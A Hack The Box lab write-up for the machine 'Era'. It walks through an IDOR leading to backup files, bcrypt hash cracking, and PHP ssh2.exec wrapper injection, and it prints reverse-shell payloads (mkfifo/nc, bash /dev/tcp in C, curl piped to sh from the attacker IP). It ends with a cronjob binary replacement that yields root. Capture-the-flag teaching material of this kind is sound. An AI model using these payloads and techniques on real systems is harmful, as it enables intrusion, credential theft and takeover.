Hackthebox: Era

Foued SAIDI Lv5

Overview

Era is a medium-difficulty machine from Hack The Box which deals initially with a hidden subdomain allowing us to exploit a simple IDOR to get site backup file containing a database file with hashes that we crack => exploit PHP ssh file wrappers to get system access. We’ll finally exploit a running cronjob by signing our exploit and launching a listener to get root.

Era
Era

Reconnaissance

1
2
3
4
5
6
7
8
9
10
PORT    STATE    SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
514/tcp filtered shell
Aggressive OS guesses: Actiontec MI424WR-GEN3I WAP (99%), DD-WRT v24-sp2 (Linux 2.4.37) (97%), Linux 3.2 (96%), Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012 (96%), Linux 4.4 (94%), Microsoft Windows XP SP3 (94%), BlueArc Titan 2100 NAS device (90%), VMware Player virtual NAT device (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

We can see we have ftp open, port 514 and a web application deployed on port 80 redirecting us to era.htb which we should add to our /etc/hosts file.

Also doing some subdomain enumeration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS C:\Users\0xkujen\Documents\Tools\ffuf_2.0.0_windows_amd64> .\ffuf.exe -w ..\SecLists\Discovery\DNS\bitquark-subdomains-top100000.txt -H "Host: FUZZ.era.htb" -u "http://10.129.41.244"  -fs 154

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.0.0
________________________________________________

:: Method : GET
:: URL : http://10.129.41.244
:: Wordlist : FUZZ: C:\Users\0xkujen\Documents\Tools\SecLists\Discovery\DNS\bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.era.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________

[Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 70ms][0:00:07] :: Errors: 0 :::
* FUZZ: file

We can see we have the file subdomain which we’ll also add to our /etc/hosts.

Web Application - http://file.era.htb

Thi app seems like a simple and minimalistic storage application:

File Web App
File Web App

We can create an account under http://file.era.htb/register.php

We upload a file, after uploading we get a link http://file.era.htb/download.php?id=8310

Creating a python script or using burp intruder discover ids 54 and 150
The files under these two IDs are called site-backup-30-08.zip and signing.zip. Maybe some certificates and keys?

Inside the site backup we find a sqlite database from which we get users hashes that we crack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(base) ┌──(kali㉿kali)-[~/Desktop/site-backup-30-08-24]
└─$ find . -name *sqlite 2> /dev/null
./filedb.sqlite

(base) ┌──(kali㉿kali)-[~/Desktop/site-backup-30-08-24]
└─$ sqlite3 filedb.sqlite
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
sqlite>
1
2
eric:america
yuri:mustang

Next step is to login as eric, update security questions for admin_ef01cab31aa and then login with him
I also used deepseek for some source code analysis and it suggested using php special wrappers:

Deepseek
Deepseek

We can read more about it here: https://www.php.net/manual/en/wrappers.ssh2.php (I didnt even know this wrapper existed haha)

Next steps are to:

  1. upload a file with admin
  2. get that id
  3. create a revshell script
    mkfifo /tmp/s; /bin/sh </tmp/s | nc 10.10.16.6 9001 >/tmp/s; rm /tmp/s

Got to this URLwith the new file id:

1
http://file.era.htb/download.php?id=9043&show=true&format=ssh2.exec://eric:[email protected]/curl+-s+http://10.10.16.6/codee.sh|sh;

And we get a callback to our listener and the user flag:

1
2
3
4
5
6
7
8
9
10
PS C:\Users\0xkujen\Documents\Tools\CRTE\netcat-win32-1.12> .\nc.exe -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.6] from (UNKNOWN) [10.129.41.244] 47832
id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
cd
ls
user.txt
cat user.txt
1d4a0329c2278b59b934bfebef19f1da

Privilege Escalation - Cronjob abuse

First we notice eric is a member of devs group

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
python3 -c 'import pty; pty.spawn("/bin/bash")'
eric@era:~$ ls
ls
user.txt
eric@era:~$ id
id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
eric@era:~$ sudo -l
sudo -l
[sudo] password for eric: america

Sorry, user eric may not run sudo on era.
eric@era:~$ su yuri
su yuri
Password: mustang

$ sudo -l
sudo -l
[sudo] password for yuri: mustang

Sorry, user yuri may not run sudo on era.
$

We find this interesting folder we got privileges on under /opt:

1
2
3
4
5
6
7
8
9
$ ls -al
ls -al
total 12
drwxrwxr-x 3 root root 4096 Jul 22 08:42 .
drwxr-xr-x 20 root root 4096 Jul 22 08:41 ..
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 AV
$ pwd
pwd
/opt

Also running pspy to check for any background tasks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2025/07/30 10:16:08 CMD: UID=0     PID=1      | /sbin/init
2025/07/30 10:17:01 CMD: UID=0 PID=24057 | /usr/sbin/CRON -f -P
2025/07/30 10:17:01 CMD: UID=0 PID=24056 | /usr/sbin/CRON -f -P
2025/07/30 10:17:01 CMD: UID=0 PID=24058 |
2025/07/30 10:17:01 CMD: UID=0 PID=24060 | /usr/sbin/CRON -f -P
2025/07/30 10:17:01 CMD: UID=0 PID=24059 | bash -c /root/initiate_monitoring.sh
2025/07/30 10:17:01 CMD: UID=0 PID=24062 | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
2025/07/30 10:17:01 CMD: UID=0 PID=24063 | /bin/bash /root/initiate_monitoring.sh
2025/07/30 10:17:01 CMD: UID=0 PID=24064 | openssl asn1parse -inform DER -in text_sig_section.bin
2025/07/30 10:17:01 CMD: UID=0 PID=24067 | /bin/bash /root/initiate_monitoring.sh
2025/07/30 10:17:01 CMD: UID=0 PID=24065 | /bin/bash /root/initiate_monitoring.sh
2025/07/30 10:17:01 CMD: UID=0 PID=24070 | grep -oP (?<=IA5STRING :)[email protected]
2025/07/30 10:17:01 CMD: UID=0 PID=24068 | /bin/bash /root/initiate_monitoring.sh
2025/07/30 10:17:01 CMD: UID=0 PID=24071 | /opt/AV/periodic-checks/monitor
2025/07/30 10:17:04 CMD: UID=0 PID=24072 | /bin/bash /root/initiate_monitoring.sh

so we can create a monitor file and let root run it?

but first we need to get monitor’ signature

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
eric@era:~$ wget 10.10.16.6/back.c
wget 10.10.16.6/back.c
--2025-07-30 10:51:05-- http://10.10.16.6/back.c
Connecting to 10.10.16.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 116 [text/x-csrc]
Saving to: ‘back.c’

back.c 100%[===================>] 116 --.-KB/s in 0s

2025-07-30 10:51:05 (10.6 MB/s) - ‘back.c’ saved [116/116]

eric@era:~$ ls
ls
back.c user.txt
eric@era:~$ cat back.c
cat back.c
#include <stdlib.h>
int main() {
system("/bin/bash -c '''bash -i >& /dev/tcp/10.10.16.6/4444 0>&1'''");
return 0;
}
eric@era:~$ gcc -static -o monitor_backdoor back.c
gcc -static -o monitor_backdoor back.c
eric@era:~$ ls
ls
back.c monitor_backdoor user.txt
eric@era:~$ objcopy --dump-section .text_sig=sig /opt/AV/periodic-checks/monitor
<ction .text_sig=sig /opt/AV/periodic-checks/monitor
eric@era:~$ ls
ls
back.c monitor_backdoor sig user.txt
eric@era:~$ objcopy --add-section .text_sig=sig monitor_backdoor
objcopy --add-section .text_sig=sig monitor_backdoor
eric@era:~$ cp monitor_backdoor /opt/AV/periodic-checks/monitor
cp monitor_backdoor /opt/AV/periodic-checks/monitor
eric@era:~$

We sign the revshell script using objcopy and let it run with our listener waiting:

1
2
3
4
5
6
7
8
9
10
11
12
13
(base) ┌──(kali㉿kali)-[~/Desktop]
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.6] from (UNKNOWN) [10.129.237.233] 37168
bash: cannot set terminal process group (20860): Inappropriate ioctl for device
bash: no job control in this shell
root@era:~# cat /root/root
cat /root/root
cat: /root/root: No such file or directory
root@era:~# cat /root/root.txt
cat /root/root.txt
63a0f7ac4c56a7c5501b22b8ad39a64d
root@era:~#

And that was it for Era. Hope you learned something new!

-0xkujen

  • Title: Hackthebox: Era
  • Author: Foued SAIDI
  • Created at : 2025-11-29 18:23:10
  • Updated at : 2025-11-29 19:39:48
  • Link: https://kujen5.github.io/2025/11/29/Hackthebox-Era/
  • License: This work is licensed under CC BY-NC-SA 4.0.